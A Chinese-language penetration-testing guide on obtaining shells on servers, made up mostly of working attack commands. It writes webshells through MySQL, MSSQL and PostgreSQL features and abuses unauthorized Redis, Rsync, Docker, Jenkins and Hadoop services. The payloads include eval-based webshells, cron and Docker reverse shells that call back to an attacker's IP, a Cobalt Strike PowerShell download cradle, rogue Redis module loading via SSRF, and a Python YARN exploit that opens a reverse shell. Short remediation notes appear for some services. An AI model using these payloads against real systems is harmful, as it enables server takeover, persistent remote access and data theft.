Getshell权限获取

张天师大约 13 分钟

搭建用于下载木马的服务器

Nginx

curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
curl -o /etc/yum.repos.d/epel.repo http://mirrors.cloud.tencent.com/repo/epel-7.repo
yum clean all;yum makecache
yum -y install nginx
#默认目录在 /usr/share/nginx/html
systemctl start nginx

Python

目标出网Getshell

目标不出网Getshell

提示

如果是jar包部署的不出网就只能打内存马了

查找网站目录

黑盒方式

1、Web页面报错信息

2、字典爆破

3、旁站的目录

可执行系统命令的方式(查找文件)

MySQL数据库写shell

利用条件

过滤了单引号into outfile还能用吗?不能,GPC要off才行。

1、数据库当前为root用户-dba权限

2、知道网站目录绝对路径

3、PHP的GPC为off状态(魔术引号 POST、GET、Cookie)

4、写入路径拥有写权限

代替空格的方法

+号,%0a、%0b、%a0 、 /**/ 注释符等

outfile和dumpfile的区别?

因此,我们可以使用dumpfile这个函数来顺利写入二进制文件;

当然outfile函数也可以写入二进制文件,只是无法生效(追加的反斜杠会使二进制文件无法生效)

如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制

基于UNION联合查询

?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\www\info.php'%23
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\www\info.php'%23

非联合查询

当我们无法使用联合查询时,我们可以使用 fields terminated by与 lines terminated by来写shell

字段终止于

?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

基于日志写Shell

突破secure-file-priv写shell

secure-file-priv参数是用来限制导入|导出目录的;

当secure_file_priv没有具体值时,表示不对MySQL的导入|导出做限制,null表示不允许导入导出。

而且在mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL。并且无法用SQL语句对其进行修改。

outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限的情况下可以用日志写shell。

--查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
show variables like '%general%';

--开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log = on;

--设置日志路径
set global general_log_file = '/var/www/html/info.php';

--执行查询,写入shell
select '<?php phpinfo();?>';
select "<?php $sl = create_function('', @$_REQUEST['admin']);$sl();?>"; --免杀shell

--结束后,恢复日志路径,关闭日志监测

慢查询写shell

开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错,这时候可以用慢查询。

--查看慢查询信息
show variables like '%slow_query_log%';

--启用慢查询日志(默认禁用)
set global slow_query_log=1;

--修改日志文件路径
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php';

--写入Shell
select '<?php phpinfo();?>' or sleep(11);
慢查询补充

只有当查询语句执行时间超过系统默认的10秒,该语句才会被记入进慢查询日志

show global variables like '%long_query_time%';
--查看服务器默认时间值

MSSQL数据库写shell

MSSQL就是微软的SQL Server数据库。

利用条件
  1. 有dba权限
  2. 知道web目录的绝对路径

用存储过程搜索绝对路径

EXEC xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
EXEC master..xp_dirtree 'c:',1 --只列c:\目录
EXEC master.dbo.xp_dirtree 'c:',1,1 --列c:\目录、文件

写webshell

-- 首先判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');

-- 利用存储过程写入一句话,注意路径
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\www\test.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'

xp_cmdshell拿Shell

这种方法就是cmd来执行系统命令,需要注意转义字符,具体步骤看数据库提权章节中的代码。

无回显查看命令执行结果

CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'
select * from tmpTable

差异备份拿shell

--完整备份一次,保存位置可更改
backup database 库名 to disk = 'C:\Users\Public\Music\bak.bak';

--创建表并插入一句话(密码a)
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

--进行差异备份
backup database 库名 to disk='C:\www\shell.asp' WITH DIFFERENTIAL,FORMAT;

当过滤了特殊的字符比如单引号,或者路径符号可以使用定义局部变量来执行

Log备份拿shell

利用条件

LOG 备份需要先把指定的数据库激活为还原模式;

所以需要执行alter database XXX set RECOVERY FUL

目标机器的数据库备份过,而且选择恢复模式得是完整模式

但是使用 log 备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式。

alter database 库名 set RECOVERY FULL 
create table cmd (a image) 
backup log 库名 to disk = 'C:\Users\Public\Music' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log 库名 to disk = 'C:\www\shell.asp'

相对于差异备份,log 备份出来的 webshell 文件体积非常的小。

PostgreSQL执行命令

用户权限说明
  1. login: 可登录

  2. superuser:数据库超级用户

  3. createdb:创建数据库权限

  4. createrole:创建和删除其他普通用户的权限

  5. replication:流复制时用到的一个用户属性,需要单独设定

  6. password:登录时需要指定密码

  7. inherit:用户组对组员的一个集成标识,成员可以集成用户组的特性权限

#连接数据库
psql -U dbuser -d exampledb -h ip -p 5432

#查看当前系统版本
select version();

#列出系统目录
select pg_ls_dir('/etc');

#读取系统文件100行
select pg_read_file('postgresql.auto.conf',0,100);

#写入文件:(两种方式)
create table shell(shell text not null);
insert into shell values($$<?php @eval($_POST[sec]);?>$$);
copy shell(shell) to '/var/www/html/shell.php';

copy (select 'cmd') to '/var/www/html/shell.php';

Postgresql 8.2执行命令

Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6,可以执行命令

create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
select system('id');

需要注意的是:Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。

高版本的系统存在安全机制无法调用系统libc.sso.6,需要手动利用UDF进行命令执行。

先查看postgresql支持的扩展语言:select * from pg_language; Postgresql默认支持C,可以自己编译so库去创建执行命令的函数利用。

CVE-2019-9193

PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令

drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
drop table if exists cmd_exec;

注意

命令中的单引号需要用双引号进行转义

echo 'test' >> 'echo "test";'

Redis未授权访问

利用条件

影响版本:Redis 2.x,3.x,4.x,5.x

  1. redis服务以root账户运行
  2. redis无密码或弱密码进行认证
  3. redis监听在0.0.0.0上
修复方案

1、Redis使用强口令登录

2、禁止使用root权限启动redis服务

获取Info

./redis-cli -h 192.168.1.111
192.168.1.111:6739> info
keys *				#查看所有key
get key_name	#查看key的值,例如get password
flushall			#删除所有数据
del key				#删除键为key的数据

SSH公钥登录

原理

原理就是在数据库中插入一条数据,将本机的公钥作为value,(key值随意)

然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys

把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

1)首先在自己的电脑上生成公钥

ssh-keygen -t rsa

将公钥导入key.txt文件(前后用\n\n换行,避免和Redis里其他缓存数据混合)

再把key.txt文件内容写入目标主机的缓冲里。

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | ./redis-cli -h 192.168.10.153 -x set test

2)连接目标主机的Redis

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

./redis-cli -h 192.168.1.111
config set dir /root/.ssh
config set dbfilename authorized_keys

keys *
get test	#查看数据是否存在
save		#将(缓存里的数据key.txt)保存在服务器硬盘上

#SSH 连接目标主机,无需密码即可登录
ssh 192.168.1.111

计划任务反弹shell

通过crontab定时任务反弹shell,原理和写公钥一样

#首先在客户端(攻击者)这边监听一个端口,端口不要冲突
nc -lv 6666

#连接redis,写入反弹shell
./redis-cli -h 192.168.1.111
set test2 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/客户端IP/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

DICT协议反弹shell

#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#执行系统命令
 ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

GOPHER协议反弹shell

#设置文件名,连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit

#加载exp.so,反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

网站目录写Webshell

./redis-cli -h 192.168.1.111

config set dir /var/www/html
set shell "\n\n\n<?php @eval($_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save

Slave主从模式利用

如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。

为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机。其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Redis模块

mysql类似,redis也支持扩展命令,我们需要编写so文件,来扩展命令。

1、我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。

2、我们设置备份文件名为恶意的.so文件

3、设置传输方式为全量传输

4、加载so文件,实现任意命令执行

./redis-cli -h 192.168.1.111
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"

现成的工具,exp利用脚本:redis-rceopen in new window

Windows启动项上线

windows平台上的利用除了网站目录写webshell就是启动项上线了,其它办法不能利用。

#网站绝对路径写Webshell
config set dir D:/phpstudy_pro/WWW
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

启动项上线CS木马

使用Attacks – Web Drive-By – Script Web Delivery,生成ps上线命令

#由于Start Menu之间有空格,因此需要用双引号将路径包含
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"

config set dbfilename shell.bat
set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.105:80/a’))”rnrn”
#这是CS用团队服务器生成的马

save

Rsync 未授权访问漏洞

Rsync(remote synchronize)是一个远程数据同步工具。

可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。

Rsync 默认允许匿名访问,默认端口837。

1、漏洞利用

#列举整个同步目录或指定目录:
rsync rsync://172.16.2.250:873/src

#下载文件或目录到本地:
rsync rsync://172.16.2.250:873/src/etc/passwd ./

#上传本地文件到服务端:
rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly

#上传的文件可以直接是webshell或crontab反弹shell

2、修复建议

  • 添加认证
  • 限制IP访问

Docker未授权访问

docker remote api 可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker

1、验证

docker -H tcp://10.1.1.211:2375 version

#列出容器信息
curl http://<target>:2375/containers/json

2、漏洞利用,反弹宿主机shell

新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/1234 0>&1' >> /mnt/var/spool/cron/crontabs/root

本地监听端口,获取宿主机shell

nc -lvp 1234

3、修复建议

  • 对2375端口做访问控制

Jenkins未授权访问

1、访问http://www.xxx.com:8080/manage

2、点击脚本命令行

println "whoami".execute().text

3、漏洞利用,写入webshell

new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');

4、修复建议

  • 升级版本
  • 添加认证、设置强密码复杂度及账号锁定
  • 避免把Jenkins直接暴露在公网

Hadoop 未授权访问

Hadoop是一个由Apache基金会所开发的分布式系统基础架构.

由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口.

黑客可以通过命令行操作多个目录下的数据,如删除,下载,浏览、命令执行等操作,危害极大.

1、验证

访问 http://192.168.18.129:8088/cluster

2、通过REST API命令执行

在本地监听端口 >> 创建Application >> 调用Submit Application API提交

#本地监听9999端口
nc -lvp 9999

3、EXP漏洞利用

#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)